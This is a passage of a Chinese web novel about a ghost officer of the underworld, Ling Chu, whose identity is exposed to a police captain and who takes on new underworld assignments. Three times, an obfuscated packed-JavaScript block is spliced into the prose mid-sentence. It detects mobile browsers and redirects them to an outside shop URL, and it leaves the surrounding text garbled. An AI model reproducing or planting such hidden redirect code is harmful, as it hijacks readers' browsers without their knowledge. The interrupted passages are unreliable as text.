他蒙骗着凌初帮他干苦力,结果没两天,事情就败露了。得知真相的凌初直接将他揍了一通,顺便搜刮了他全部的钱财,大摇大摆地往上一层地狱走了。 那时,他还不明白为什么有鬼能闯过层层地狱而阴司竟然不管? 后来,听进来十八层地狱的新鬼说,阴司提拔了一个鬼修,十殿阎罗抢着要,最后被阴律司判官崔珏把鬼抢走了。 听新鬼的描述是黑衣,长发,身形修长,女鬼,钱鑫不知怎地就想起凌初来。 再后来,钱鑫从看守十八层地狱的阴差们口中听到了事情的真相:原来那次他见到凌初,是因为阴司设置的十八层地狱间的结界打开了。 结界打开,也就意味着众鬼可以前往其他地狱,但不是轻易便可前往的。结界只能容一只鬼通过,也就是说,每一层地狱,最终只有一只鬼能闯。凌初,就是那只鬼。 阴司哪里是不管,分明是管不了!一只从无间地狱层层闯出十八层地狱的恶鬼,实力究竟到了何种恐怖的程度。 万鬼之王,从来不是说说而已。 无间地狱,钱鑫光听名字都瑟瑟发抖。也就是他命好,没遇上凌初大开杀戒。 如今又是一百八十年,他趁乱逃离了十八层地狱,结果又在阳世遇到了凌初,真是孽缘。 不过,这次从无间地狱出来的鬼,可是名副其实一只恶鬼,连阴司都束手无策,生生叫他带着一大帮恶鬼逃了。 他跟凌初,可谓是王不见王,不知道二鬼相遇时,又是怎样的情景,钱鑫很期待,但他注定看不到了。 一柄银白长剑,贯穿了钱鑫的胸膛。 星星点点的蓝光,从他的胸膛,飘散在空中。 凌初抽出银白长剑,松开,银白长剑便恢复成缚魂锁的样子,自动收进寻鬼镯中。 “跟我对战,还敢分心!”凌初神色漠然。 蓝光越飘越多,钱鑫的魂体也越来越淡。他手中黑剑掉落在地上,瞬间化为了一片黑气,渗入地下。 他唇角勾起,最后笑道:“凌初大人,不知你与昼生,谁更胜一筹呢?” 凌初没有说话,双手却握紧了。 钱鑫的笑容更大了,随后感叹:“这下,可真是魂飞魄散了啊——” 恶鬼名单上,贪财鬼——钱鑫的名字消失不见。 凌初的眉头紧皱,并未放松,她喃喃吐出两个字——“昼生!” 环顾四周,一片狼藉。凌初不知打哪儿摸出几十个金元宝,直接丢在柜台上,“掌柜的,这是赔偿。” “大、大、大人,这我可不能要。”掌柜鬼结结巴巴道,他哪里敢收阴差的钱啊,刚才那只鬼就在眼前魂飞魄散了啊!!! 凌初没搭理他,径直走向梦书生和杜四维。 杜四维还昏迷不醒着,梦书生此刻恨不得自己也昏着,总好过亲眼看到“杀鬼现场”吧。 魂飞魄散的虽不是他,但他觉得自己的三魂七魄已经找不回来了,太凶残了啊! “凌初大人,有什么我能为您效劳的?”梦书生狗腿道。 “幽冥无道,诸鬼缚魂,收!”凌初不语,拿出锁魂袋将杜四维收进去,幸好,这东西还能用。 梦书生:“???”不会也要收了我吧? 他站直身子,挺胸抬头,闭上眼,一副英勇就义的模样。 “还不走?”凌初喊他。 梦书生睁开眼,见凌初已经走出了茶馆大门,急忙道:“来啦来啦,大人,您等等我啊!” 26. 凌初掉马 凌初和梦书生出门往回走。 梦书生每走一步就看一眼凌初,一股小偷的即视感。 “书生,你有什么想说的?”凌初走在前面,身后的注视让她很难忽略。 梦书生闻言停下来,反思自己是不是太得意忘形了?!竟敢一直盯着阴差看!他刚想说话,却见凌初的步伐根本没停下来,又匆匆追上去。 “大人身上的伤不要紧吗?”梦书生关切道。 凌初骤然回头,把梦书生吓了一跳,“大、大人,我不是故意的,手下留情啊。”他脸色惨淡,立时就要下跪求饶。 梦书生膝盖还没碰着地,凌初手轻轻一抬,他就不由自主地站起来了。 “怕什么?我又不是杀人狂魔!”凌初忍不住笑骂道。 ???梦书生揉揉眼睛,以为自己看花了眼,凌初竟然笑了?然后反应过来,她杀的又不是人,是鬼啊!!!但他也不敢纠正,只朝凌初投去又感激、又畏惧的一瞥。 又同走了一段路,大约是因为周遭太安静的缘故,梦书生很不习惯这样的鬼市,于是八卦之火死灰复燃,他可太想知道杜四维的故事了。 “大人,杜四维到底是为什么进十八层地狱受罚啊?违背礼、义、廉、耻四个字又是怎么回事儿?” “阮梦君说这鬼市就没有你不知道的事,原来是因为好奇心很重。” 梦书生:“……”嫌我八卦就直说呗!!! 梦书生悻悻跟在凌初身后,撇了撇嘴,本想偷偷摸摸翻个白眼,结果白眼刚翻到一半,就听凌初慢条斯理地开口了。 “!!!”吓死他了!这阴差怎么跟背后长了眼睛似的! “杜家四维,出生即丧母,六岁丧父,七岁被族叔收养。刻苦勤勉,用功上学,二十二岁连中三元,皇帝钦点探花郎,初入仕途,从翰林院编修,后官至吏部尚书兼太子少傅。” “???”梦书生心情复杂,这生平跌宕起伏但梦寐以求啊!杜四维身世虽惨了那么一点,但官运之亨通叫人眼红得紧,他恨不得以身相代。 凌初略微转头朝身后瞥了一眼,见梦书生用力跺脚,嫉妒得两眼发红,于是唇角勾起一点弧度,这才继续道:“父母双亡被冠以克亲之名、族叔收养却加以苛待,因此杜四维十三岁便离家出走,外出求学,再未回家,此为失礼。 求学艰难、几度流离,困境中结交知己好友,为寻名师,背着好友提前打听师长喜好,率先入学,此为不义。 连中三元、力夺探花,然帝京居,大不易,为了生活收取贿.赂,此为寡廉。 生平随性、为人放浪,不以为耻,此为无耻。” 她将名录上记载的杜四维生平尽数讲出来,特意观察梦书生的神色,见他一脸怅惘,才问:“怎么样?还羡慕吗?” 梦书生先是沉默,接着抬头,鼓足勇气辩驳:“杜四维做的这些事情,不都事出有因吗?为何要因此进入十八层地狱受罚?!” 见凌初未说话,又继续追问:“况且,他能做到吏部尚书,足以证明其有大才,政绩想必非同一般,这样的人,死后竟然不能早早往生吗?阴司未免也太过冷血无情了吧!” “……”凌初没多说,只淡淡回了句:“天地不仁以万物为刍狗,功是功,过是过。” 梦书生:“……”哼!一群高高在上、不知疾苦的幽冥鬼神!他自顾自生着闷气,连带着对凌初的畏惧都少了三分,因此也没注意到凌初衣袍上的痕迹就在他们谈话间恢复如新。 两鬼正走着,一道墨绿色的流光迅疾地朝他们袭来,凌初旋身躲过,喝道:“书生!”梦书生却还没反应过来,一动不动地呆呆站着。 千钧一发之际,一道锁链及时缠住梦书生身子,用力一拉,将他拽离原地。 墨绿流光“嗖”一下钉在梦书生身后的茶棚上,二鬼定睛一看,原来是支墨绿色的羽毛,几道裂纹顺着羽毛钉住的位置浮现。 羽毛绚丽,折射五彩光芒,是孔雀尾羽! “阴司走狗竟敢登我的门,真是胆大包天!”来者毫不客气骂道。 凌初看向孔雀尾羽射来的方向,果然是孔鸣。 孔鸣并非独自前来,身后跟着阮梦君和陈遇,陈遇背上是依旧昏迷的李淼,人和鬼看上去都没有大碍,只是脸色都有些难看。 得,这下子人和鬼都齐了。 这可不好办了呀,凌初心想,没想到自己竟然这么快就在陈遇面前掉了马甲,不知道他会怎么看我? 陈遇盯着凌初,她视线躲闪,并没有正面看自己一眼。 所以,在场的各位都不是活人?只有自己和李淼是? 骤然得知真相的陈遇脸上一时也不知道该摆出什么表情来,他没被吓晕已经是意志力足够强悍了。 凌初正想着一会儿离开鬼市后该怎么解释(忽悠),陈遇想的却是阴差来他们红旗分局做什么?为了拘魂吗?是有人要死了?谁? 孔鸣怒气冲冲放完话,结果凌初却没接茬,场面一时有点儿滑稽,像是孔鸣一只鬼的独角戏。 孔鸣愤怒,浑身的羽毛都炸了起来,阮梦君眼瞅着气氛不对,当即大喊道:“阴差大人,都火烧眉毛了,你就别再跟你相好的眉来眼去了!” 陈遇:“……”相好的,是在说我吗? 凌初:“……”阮小姐,您能别火上浇油吗? 梦书生:“……”哇塞,还有阴差的瓜吃!我要记下来! 孔鸣:“……”好、好、好,没人当我存在是吧? 他伸出双臂,两只胳膊变幻成一双翅膀,紧接着翅膀抖动,若干道墨绿色的羽毛犹如利箭一般再度袭来! !!!还来啊!梦书生这次很机灵,立刻闪避到一旁,找了个角落呆着。 阮梦君也做足了准备,羽毛射出的一刹那,她一把拖过陈遇和李淼,一同趴在地上。 现场只剩下凌初还站着。 “凌初!”陈遇焦急喊道。 “呵!”凌初冷笑,不过一只孔雀妖修,在我面前实在是太放肆了! 她脚步抬起,迎着漫天墨绿流光,一步一步上前。 在场的人和鬼纷纷张大了嘴巴,目不转睛盯着凌初“主动找死”的行为。 预想之中的惨案并未发生,梦书生“哎”了一声,震惊地看着凌初。 暗地里偷偷观察的小鬼们也顾不上隐匿身形,一个个犹如雨后春笋一般,纷纷冒出头。 只见孔鸣的羽毛箭虽势不可挡地朝凌初射过去,但她针锋相对,明明面前什么也没有,缚魂锁也没使出来,羽毛箭偏偏就在距离凌初三寸的地方停下,再不能上前。 “???”孔鸣的表情很意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156023|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他大喝一声:“去!” 羽毛箭分毫未动,随着凌初逐步上前,露出一点点被压弯的苗头。 凌初又前进一步,停在她面前的羽毛箭,“啪”一声折断,随即是一阵“啪、啪、啪”的声音,所有挡在凌初面前的羽毛,应声而断,残羽朝四周射过去! !!!梦书生看向朝自己飞来的残羽,忍不住骂道:“靠!你怎么连自己人也打啊!”他身子一个倒仰,残羽堪堪从鼻尖擦过,射中身后的木屋。 其余看热闹的小鬼们抱头鼠窜,争着抢着找掩体躲藏。 在场无人(鬼)幸免于难,孔鸣被自己的残羽逼退了数十步,阮梦君连滚带爬往一家卖首饰的小摊儿奔去,还不忘拉上陈遇和李淼。最后,一人一鬼对视,而后同时看向钉在一尺之外地上的大片残羽。 “……你的人,挺厉害啊!”阮梦君思来想去,只冲着陈遇憋出来这么一句话。 陈遇:“……”这句话从她嘴里说出来怎么感觉变味儿了呢?! “凌幺幺!你欺人太甚——”孔鸣全身的羽毛都竖了起来,整只鬼看上去像个圆滚滚的毛球,再配上一副恶狠狠的表情,凌初不觉得他可怕,反倒是有些憨态可掬。 “噗呲——”凌初偷笑出声,眉眼弯弯,脸上露出愉悦的表情。一阵阴风吹过,她衣角飘起,墨发飞扬,再配上一双带有笑意的眼睛,浑身的凌厉气质中夹杂了一抹明媚。 孔鸣一时间看呆了,其余小鬼们也看呆了。 阮梦君、梦书生、陈遇:“……”心头同时萌发了一个疑问:美人计对鸟也管用吗? 孔鸣收了势,恢复成原样,“凌幺幺,你、你、你在阴司是干什么的?” “?”凌初不理解方才怒火滔天的孔鸣怎么突然就冷静下来,甚至还有点儿结巴,听到他的问话,凌初应声答道:“东岳阴司,阴律司判官崔珏座下——凌初。” “凌初?这是你的大名吗?”孔鸣忽然羞涩道。 不是大哥,现在是说这个的时候吗?其余小鬼们简直是丈二和尚摸不着头脑,到底还打不打啊? 梦书生立刻窜到凌初身边,低声道:“阴差大人,趁孔鸣没反应过来,咱还是先溜为妙?” 凌初点头,给阮梦君做了个手势,阮梦君略一点头。 于是两方人马同时移动,陈遇背着李淼,跟着阮梦君,凌初和梦书生也朝他们走过去。 孔鸣没听到凌幺幺的回复,又问了一遍,“凌幺幺,是你的小名吗?” 看戏的小鬼们都无语了,兄弟,没看到人家都准备溜了吗??? 眼见小鬼们躁动不安,凌初一个凌厉的眼神扫视过去,冒头的小鬼们看到那冻煞人的目光,一个个身子又矮了下去。 “不敢惹不敢惹,这可是阴司的鬼差!” “听说刚刚就有一鬼在她手上灰飞烟灭了?!” “啊,这么残暴?” “……” 小鬼们窃窃私语,凌初一行偷偷摸摸。 人和鬼已经聚到一处,阮梦君立刻施诀做法,周遭升起淡淡的光晕,这是要离开鬼市的讯号。 孔鸣追过来,口中道:“凌幺幺,你还没回答我问题!” 凌初未说话,平静冷漠地注视着他。 梦书生乐了,大笑着开口:“傻鸟,当然是骗你的啦!” 27. 狗皮膏药 一行人刚到达鬼市出口,凌初劈头盖脸就是一句:“书生,你不打算回鬼市了吗?” 梦书生:“……”一时得意忘了形,啊啊啊啊…… 回想起临走时,自己说完那句话后孔鸣那副犹如吃了苍蝇的表情,梦书生整个鬼都不太好了,这下子是彻底把孔鸣给得罪了! 鬼市是不能再回了,那该去往何处呢? 阮梦君也是一副一言难尽的表情,她对梦书生的滤镜已经完全碎掉了。真想不通自己,之前是被下了降头吗,还是被他这副皮囊迷了眼,竟然认为他是一位温润端方、才色俱佳的君子? 现在看来,分明是一只又八卦、又贪财、脸皮还厚的话痨鬼! “凌初姐?凌初姐?”识海中突然蹦出来李善言的声音。 离开鬼市结界,阴阳两界的沟通又恢复了。 “说。” “啊!凌初姐你终于回我了!你找到陈队和李淼了吗?局里的人已经催好几遍了!我都不敢回去了呜呜呜……”李善言喜极而泣。 啧,小李子这身上,怎么一点儿道家高人的风范也没有?! “别嚎了,我找到陈遇和李淼了,我们现在就回去。”凌初说完便断了神识联系。 “阮小姐,我们走吧。”凌初对阮梦君说。 “好。”阮梦君前头带路,凌初和陈遇跟上。 福泰陵园。 一阵空间波动后,李善言终于看见了“救命稻草”——凌初!他立马起身扑了过去,“凌初姐!凌——陈队好!” 结果他人还没到凌初跟前,就看到了她身后的陈遇,一个急停,脚步刹住,顿时立正站好,跟陈遇敬礼问好。 然后看到陈遇背上昏迷的李淼,问:“这小孩儿怎么了?” “呃……”陈遇迟疑。 未料到身后有人骤然出声:“被鸟人吓着了呗!” !!! 凌初:他怎么在这?! 陈遇:梦书生怎么跟来了? 阮梦君:啧,阴魂不散的家伙! 李善言这才看到陈遇身后跟了一只鬼,这鬼作书生打扮,是个古代鬼?大白天见鬼,他倒也不害怕,一来是因为书生没其他鬼死状惨烈,至少脸是正常的;二来嘛,阴差都在这儿了,他不信这鬼还能作乱! 于是他自然而然地问:“什么鸟人?” 梦书生:“……”往事不堪回首,不愿再提。还有,他这活人是怎么回事,见到鬼魂一点儿反应都没嘛?这不科学! 凌初这才解释道:“哦,是一只孔雀妖修。” “孔雀妖修?西游记里的那种?不是,阴间还有妖修这种东、生物吗?”他生硬地转折。 梦书生有意吓唬,插嘴道:“不止呢,我们鬼市各种飞禽走兽的妖修都有呢!” “哦。”李善言语气很平静。 “阴司有豹尾、鸟嘴、鱼鳃、黄蜂四大拘魂使,分别拘走兽、飞禽、游鱼、爬虫的魂魄。动物魂魄进入阴司后,恶魂入地狱,善魂可进入轮回,也可自行修炼,是为妖修。”涉及阴司,凌初特意科普了一番。 幽冥鬼魂们自然了解阴司诸事,用不着凌初解释,所以,这是她特意解释给活人听的。 “活人”陈遇和李善言表示:受教了!话音刚落,李淼悠悠转醒,刚醒来就大喊大叫:“啊啊啊啊,鬼啊——” 凌初见状,立刻来到跟前,两指并拢,从自己眉心牵引出一道微弱的蓝光,然后点在了李淼的眉心处,蓝光刚一没进去,李淼便再次昏了。 “你做了什么?”陈遇厉声质问她。 凌初耸了耸肩、掸掸衣服,状若随意道:“淡定,陈队。只是让他忘记鬼市之行的一点小手段。”她凑近陈遇,男女两张不同的脸同框,看着是赏心悦目,但却释放出来成倍的寒意,“还是说,陈队也需要?” 气氛一下子降至冰点,其他人和鬼屏息凝神,大气儿都不敢出。 陈遇和凌初互相看着,二人之间虽未发一语,但火药味儿十足。 眼看就要打起来了,一阵急促的手机铃声打破沉默。 “你是我的小呀小苹果,怎么爱你都不嫌多……”[16]欢快的歌词响彻耳际,将陵园古朴悲凉的气氛都驱散了几分。 李善言讪笑着拿起电话,一看来电,心都提起来了,“喂,魏局?”他讨好道。 “李善言,陈遇呢?这都几点了,你们还不回来?赵凭跃把人都抓回来了,陈遇作为大队长,人呢?”魏丽压制着怒火,陈遇今天是怎么回事?撂挑子不干了给我玩消失? 早在魏丽第一声“问候”陈遇的时候,李善言就挪到了陈遇面前,把电话听筒对着自家大队长的耳朵,心中窃喜:太好了,不是来训我的。 “……魏局,我在。”陈遇哑声开口。 “……”魏丽沉默了一瞬,紧接着就说:“哦,那还不快滚回来,赵凭跃等着你审人呢!” “是!” 魏丽瞬间就把电话挂了。 …… “李善言,你来背着李淼。”陈遇将人交给对方,然后大步向前,走向陵园出口,走了几步,见没人跟上来,回头喊了一句:“还不走?等着给鬼拜年?” 这话很明显是对李善言说的,除他之外,现场剩下的,明显都不是人。 “呸!白眼狼!”梦书生抢先骂道。 阮梦君又啐道:“负心汉!” 二鬼对视一眼,然后又嫌恶地别过头去。 爱赌鬼! 死装货! 凌初:“……”啊,她的头好疼。 “凌、凌初姐,陈队他,知道你的真实身份了?”李善言背起李淼,作势欲走。 “对,我这马甲才披了几天就掉了。”凌初心平气和,也没什么懊恼和后悔,事情做也做了,说也说了,那么多鬼都知道了,也不差他这一个人了。 只是,捉拿恶鬼这条路,恐怕还要另想办法。还有那什么阴阳界则,到底是个什么东西! 李善言停下问:“那该怎么办?你还能留在红旗分局吗?他们会不会把你抓起来啊?我作为知情人,算不算共犯……”他自己嘀嘀咕咕说了一大堆。 人跟鬼都不耐烦了,“你到底走不走啊?” “就是!” “滴滴——”远处传来鸣笛声,是陈遇在催了。 “凌初姐,有什么事随时联系。”李善言点点太阳穴,背着李淼跑了。 凌初这才转身看着不请自来的两只鬼。 “二位紧跟着我不放,是想进我锁魂袋?”凌初开口就是一张王炸。 阮梦君和梦书生同时退后一大步,眼中俱是不可置信,这阴差竟然这么翻脸无情吗?! 看到二鬼的动作后,凌初忍俊不禁,眉头挑起,“既然不想入阴司,跟着我作甚?” “我的手机,你答应过我的。”阮梦君道。 梦书生哭丧着脸:“大人你好生无情,我为了你得罪了整个鬼市,如今无处可去,你忍心见我流离失所吗?啊?” 凌初:真是好大一口黑锅啊! 阮梦君也目瞪口呆,见过不要脸的,但没见过这么不要脸的! 凌初不知该摆出什么表情,只好瘫着脸,面无表情道:“阮小姐,手机我马上烧给你。”然后话锋一转,“至于你嘛?书生,我可是阴差,随时会去阴司,你确定要跟着我?” 梦书生犹豫了,摆在自己面前只有两条路:要不然以后东躲西藏,要不然背靠阴司大树,狐假虎威,就是随时有可能丧失自由! 前狼后虎,很难选啊。 凌初转头就走,阮梦君跟上去。 梦书生还在纠结,结果一转头,凌初和阮梦君都没影了,“哎,你俩等等我啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171195|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到了陵园门口,凌初还真买到了纸折的智能手机,她付了钱,拿着手机施了个决,纸折手机无火自燃,她又一吹,一只智能手机就出现到阮梦君手上,“阮小姐。这下我们两清了。” 阮梦君也不废话,点头:“告辞。”而后身形飘散,化作一股轻烟消失不见。 梦书生追上来时,只剩下了凌初一人。 “她人呢?” “走了啊,阮小姐为人很利落。”凌初特意补充了依据,说完看向梦书生,含义溢于言表。 梦书生:“……”鬼不要脸,天下无敌。你个编制人员,哪里懂我们自由职业者的辛酸!“哦,确实。凌大人,你家住哪儿,带我去看看呗?” “……”凌初万万没想到自己竟然有一天会被鬼黏上!趁现在溜走能不能行?! 梦书生眼睛尖得很,一眼便看出凌初想溜,于是在她行动之前补上一句:“大人,若你不肯收留,我只好去崔判官面前说上一说了。” 说什么?当然是凌初鬼市所作所为了!这哪是说,分明是告状!!! “好!很好!”凌初咬牙切齿,她倒不怕阴司知晓自己所为,而是陈遇和李淼误入鬼市,按阴律应当洗刷记忆,喝上一碗孟婆汤。但洗刷记忆跟她对李淼使用的术法不同,稍有不慎,落个痴呆都是轻的! 凌初顺手摘来一片树叶,悬空写了个“匿”字落在树叶上,然后又贴到了袖口,就变成了一枚不太起眼的暗纹。她扬眉道:“喏,书生,这就是你住处了。” 梦书生嫌弃:“这也太寒酸了叭。” “爱住不住!”凌初转身就走,一点也不惯着这厚脸皮。 梦书生追上去,魂体径直附到树叶暗纹上,算了,有总比没有好,将就一下吧。 凌初看向空荡荡的陵园,陈遇果然只带着李善言和李淼离开了,“啧,没良心的人!”不过,他们开车也不一定有我快! 她一路移形换影,速度极快。 …… 车上,李善言抓着副驾安全带,屁股如同针扎,左扭一下,右扭一下。 “想说什么?”陈遇冷静极了。 “啊?”李善言疑惑,随即明白过来,惴惴不安开口:“陈队,你都知道了?” 陈遇猛踩刹车,车胎与地面摩擦,“刺啦——”一声,李善言额头险些碰到后视镜。 “你早就知道凌初的身份。”不是问句,是陈述。 “呃……”李善言犹豫,继而回答:“也不算很早,你知道的,陈队,我家里人是道士,这种事儿对我来说很平常。” 陈遇沉默,继续发动车子,李善言起初没感觉到有什么异常,但随着车子速度越来越快,他不淡定了,默默抓紧把手。 如果不是没带证件,他还想把身份证叼嘴里。 十几分钟后,终于看到了红旗分局的大门。 李善言一口气刚刚要放松,结果看到分局门口一个身影,看清是谁后这口气差点儿没提上来。 妈呀,凌初姐怎么先到了??? 陈遇重重踩了刹车,黑着脸看向凌初。 凌初浑然不觉,双手插兜,眉眼上挑,撂下两个字:“真慢!”然后潇洒转身,走进分局大门。 李善言扭头,陈遇的脸已经黑如锅底了!他默默抱紧了双臂,生怕二人的战火蔓延到自己身上。 “下车!” 李善言没反应过来,“啊?” “到地方了,还不下车!”陈遇加重语气。 “哦,好好好,马上马上。”李善言急忙解开安全带,开门、下车一气呵成,甚至还记得把李淼从车里捞出来。 陈遇把车开向停车位。 “唉——”李善言长叹一口气。 凌初刚踩上办公室地板,迎面而来一张布满幽怨的脸,气若游丝道:“凌初姐,我的麻辣烫呢?” 28. 正经阴差 “我的麻辣烫呢?” 我的麻辣烫呢? 六个字如同一记重锤,敲醒了凌初。她终于记起来自己忘记的事情:张小曈,人民路中段,蔡记麻辣烫! “蔡记麻辣烫!糖醋口!不要豆芽!小曈你等我,我马上就来!”凌初飞一般跑走了。 李善言背李淼进门时,刚好碰上凌初跑出来,“哎?凌初姐你……”却见她头也不抬就跑了。 “奇怪。”李善言继续往办公室走,没走两步就看到一张神色萎靡、饱受摧残的脸,“小、小曈师姐,你怎么了?” “……”张小曈咧嘴一笑,“你们再不回来,我就要化身饿死鬼了!” 这笑比哭还难看。 李善言正想调侃两句,忽然感受到了背后刮来的阴风,瞬间闭紧嘴巴,沉默地背着李淼往休息室走。 张小曈也立正了,“陈队!” “嗯,辛苦了!魏局呢?” “办公室。” “好。” 陈遇上楼。 张小曈又飘回到自己座位上,双眼直勾勾盯着大门口,等待自己的午晚饭。 五分钟后,张小曈终于吃上了自己心心念念的蔡记麻辣烫,她一阵狼吞虎咽后,拍了拍溜圆的肚子,发出满足的喟叹:“啊——我终于活过来了!” “抱歉抱歉!”凌初连连道歉。 张小曈一抹嘴,“没事!凌初姐,我还没那么容易饿死的啦!” 凌初一听,更自责了,再三向张小曈保证以后绝不会再犯,并且承诺给她带一周的早饭,两人击掌为誓。 “咦——能不能留下还不一定呢。”凌初耳边忽然听到一声嘲讽的轻笑,她面无表情伸出左手,狠狠掐住右手袖子上的树叶暗纹,用力一扭,“哎哎哎,我错了、错了、错了……”直到听到梦书生的讨饶声方才罢手。 梦书生缓缓凝聚起被撕扯的魂体,默默腹诽:暴君! 凌初刚坐到自己位子上,李善言就从休息室跑了过来,点点太阳穴,通过神识问:“凌初姐,陈队没说你怎么办?” “我跟局里签了顾问聘任合同,违约方是要付违约金的。” 李善言被凌初合法、合规的回答镇住了,不由得奇道:“……阳世的法律,对你们阴差也有约束力?” 凌初莫名其妙看他一眼,“阳世的法律当然是约束你们的啊。”换言之,她不受此合同约束,不想干了直接走人。 “哦,也就是说,我们违约了付你违约金,你违约没有任何后果?”李善言竟破天荒地感觉到了一丝荒谬,他们分局这是签订了不平等条约吗?政府机关向来都是强势的一方,什么时候能有人比他们还强势? 他又看一眼凌初,淡定了:罢了,她又不是人。 没过一会儿,陈遇就从楼上下来,叫上张小曈和李善言便去了讯问室。 偌大的办公室,转眼间就只剩下凌初自己。 凌初:“……”陈遇他这是什么意思?特地防备我? 没等她仔细梳理好今天的情况,识海中便传来急切且熟悉的声音,“凌初,速回阴司!” “……是,崔判。” 顶头上司发了话,凌初不敢不从,当即便前往城隍庙,抄近道回阴司去。 …… 回阴司的路上,凌初对着树叶暗纹喋喋不休了一番,“书生,到了阴司,夹紧你的小尾巴,千万别被崔判看出什么端倪。” “知道知道,你都已经说了十遍了!”梦书生听得耳朵都起茧子了,语气很不耐烦。 凌初:“……”我忍。 阴律司大殿,崔珏正奋笔疾书。 余光瞥见凌初的身影,挥手变出一副桌椅,头也不抬道:“先坐。” 凌初施了礼,依言坐下,翘起二郎腿,思绪忍不住又回到了陈遇身上。 她很好奇这位“西施”究竟会怎么处置她。 大约过了一盏茶的时间,崔珏才从满桌案的折子中抬起头来,刚好看见凌初心不在焉的模样,出声询问:“凌初?” 走神的凌初倏地回神,对上崔珏的目光,“崔判。” 崔珏见她回神,不再多说,大手一挥,一道文书折子径直从他面前的桌案上浮起,悠悠飘向凌初。 凌初接过文书,迫不及待打开,越看眼神越变得耐人寻味起来。她看到最后,双目流露出震惊,猛地将折子合上,“崔判,钟判所言可是真的?” 崔珏让凌初看的文书,乃是罚恶司钟馗在审问新城市城隍和他夫人之后书写的情况汇报,这汇报先是直接上交给十殿阎罗,后一并抄送给轮回司、阴曹司与判官司。 汇报中所言,连十大阴帅都尚未知晓。但崔珏认为,鬼毕竟是凌初抓的,于情于理,都应该告诉凌初一声。况且,此事尚未查明,仍需要凌初在阳世探查。 “我看那新城城隍所言倒是不虚,只是他夫人,已然被怨气所控,神志不清,疯疯癫癫的。阴司要你找出那女鬼疯癫的原因,顺便核实城隍的供述。” 搞了半天,还是要我来当苦力?!凌初已经意识到崔珏将她召回阴司的意图,说实话她真的很想撂挑子不干了,但又想起自己在阴司“勤勤恳恳”干了一百年的活还没买到一间属于自己的房子,就悲从中来,脑海中撂挑子的想法顿时烟消云散。 “我知道了,崔判。”凌初点点头,表示自己接受了这个差事。 崔珏剩下的话被堵在口中,惊奇地瞧了她一眼,鬼丫头今天怎么回事儿?竟然不跟他讨价还价了?是良心发现还是被鬼给夺舍了?他要不要搜一下她的魂看看? 没等崔珏动作,凌初下一句话就来了,“崔判,加班费直接给我存着啊。” “……”是他错了,天真地以为某些鬼会“弃暗投明”,谁知道人家偏偏要一条道儿走到黑呢。 崔珏无力地应了一句,“好。” “那还有事吗?没事的话我就先走了?阳世还有好多活儿没干呢。”凌初站起来道。 崔珏无言,心头冷不丁冒出来一句话:到底你是老板还是我是老板啊,一个员工说得感觉比老板都忙似的。 崔珏摆摆手,赶紧叫凌初走了,省的在这儿碍他的眼。 凌初麻溜地走出阴律司大门,才走几步,便撞上了谢必安。 “哟,这不是我们阴司‘得力干将’——凌初大人吗?!” 这话听着怎么那么像是在嘲讽自己呢?!凌初如此想到,面上却是微笑:“好久不见了,谢爷。” “哎——虽然没见面,但你的大名可是如雷贯耳啊。”谢必安说着从怀中摸出一把还魂扇,装模作样扇了扇风,继续道:“听说你刚在鬼市大闹了一番?” “!!!”凌初大惊失色,脑子立马转了好几圈,谢必安怎么知道这件事?他特地来我面前就是为了说这个?还是威胁我? 谢必安本就是为了试探凌初,一见她脸色突变,立刻断定凌初大闹鬼市的传言是真的,所以,她杀了一只鬼的事也是真的。看不出来这小鬼还挺暴.力的,这么多年只在阴律司写文书是为了隐藏实力? 种种想法浮现在谢必安心中,眼见凌初看自己的眼神中逐渐充满戒备,他忽而轻笑一声,罢了,小鬼藏拙与他何干?他今天来找她又不是为了这个。 谢必安清了清嗓子,“小鬼,明日清明,百鬼夜行,无常忙不过来,请你帮忙协调。” 凌初:“……”不是,有请鬼帮忙的开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192369|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是一句威胁吗???请问这对吗??? 谢必安又补上一句,“规矩我都懂,不会让你白干的,事成之后,一百个金元宝。” 不愧是阴司在人间最出名的无常之一,说话豪横得很,出手嘛,也大方得很。 凌初想都不想直接答应了,果断道:“成交!” 整整一百个金元宝啊,她犹豫一秒都是对金元宝的不尊重。 谢必安闻言便笑了,递给凌初一卷阴司文书,“这个就交给你了。” 凌初接过,抱拳道:“谢爷放心,必不辱命。” 谢必安颔首,临走前特意扫视了凌初右侧袖口上的树叶暗纹一眼,意有所指道:“小鬼,别忘了你是阴司鬼差,日常行事需得上心。” “……是。” …… “白无常他是什么意思?难道我影响你办事了?拜托,我可是个好鬼好不好?!”回城隍庙的路上,梦书生气愤极了。 “书生,我劝你收敛些,阴司鬼神的脾气可不是都像我这么好的!”凌初暗戳戳道。 